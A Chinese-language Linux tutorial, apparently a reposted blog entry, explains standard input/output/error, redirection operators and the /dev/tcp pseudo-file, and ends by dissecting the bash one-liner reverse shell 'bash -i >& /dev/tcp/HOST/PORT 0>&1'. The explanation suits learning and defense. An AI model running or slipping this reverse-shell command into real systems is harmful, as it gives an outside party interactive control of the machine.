需要知道的linux知識
標準輸入、標準輸出、標準錯誤
在linux中輸入一條命令會打開三個檔案:標準輸入、標準輸出、標準錯誤,
在任何時候這個行程希望讀取東西的時候都會從它的標準輸入進行讀取,在任何時候這個行程有輸出的時候都會寫入到標準輸出,在任何時候這個行程有錯誤資訊的時候都會寫入到標準錯誤,
重定向
一般情況下,標準輸入都是鍵盤,標準輸出和標準錯誤都是顯示幕,
所謂的重定向,就是修改標準輸入、標準輸出、標準錯誤的讀取或寫入的物件,
常用的重定向運算子號有以下幾個:
| 命令 | 說明 |
|---|---|
| command < file | 將command命令的輸入重定向到 file, |
| command > file | 將command命令的輸出重定向到 file, |
| command >> file | 將command命令的輸出以追加的方式重定向到 file, |
| command 2> file | 將command命令的標準錯誤重定向到 file, |
| command 2>> file | 將command命令的標準錯誤以追加的方式重定向到 file, |
| command &> file | 將command命令的標準輸出和標注錯誤都重定向到 file, |
| command >& file | 同上,一個含義, |
| m >& n | 將m標識的 標準輸入 \ 標準輸出 \ 標準錯誤 重定向為n標識的的標準輸入 \ 標準輸出 \ 標準錯誤的去處,m、n取值0、1、2,分別表示標準輸入、標準輸出、標準錯誤, |
/dev/tcp/
linux中有一個特殊的檔案,以任何方式打開/dev/tcp/HOST/PORT都將向HOST/PORT發送tcp連接請求,讀取該檔案則表示從socket取其中的內容,寫該檔案則表示向socket發送內容,
不論是讀還是寫,其實都是進行了打開操作之后的動作,
bash一句話反彈shell
bash一句話反彈shell的內容是:
bash -i >& /dev/tcp/HOST/PORT 0>&1
bash -i開啟了一個互動式的shell,
然后使用>&將標準輸出和標準錯誤重定向到/dev/tcp/HOST/PORT,
最后使用0>&1將標準輸入的讀取物件設定為標準輸出的輸出物件,即將標準輸入也重定向到/dev/tcp/HOST/PORT,
總結下來,就是執行了bash -i行程,該行程的標準輸入、標準輸出、標準錯誤都是/dev/tcp/HOST/PORT,
其效果就是所有的輸入和輸出都來自于網路的另一端,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/262489.html
標籤:其他
上一篇:bat檔案呼叫cmd命令批量提取檔案夾中的檔案名(批量修改檔案擴展名)
下一篇:配置Samba服務器
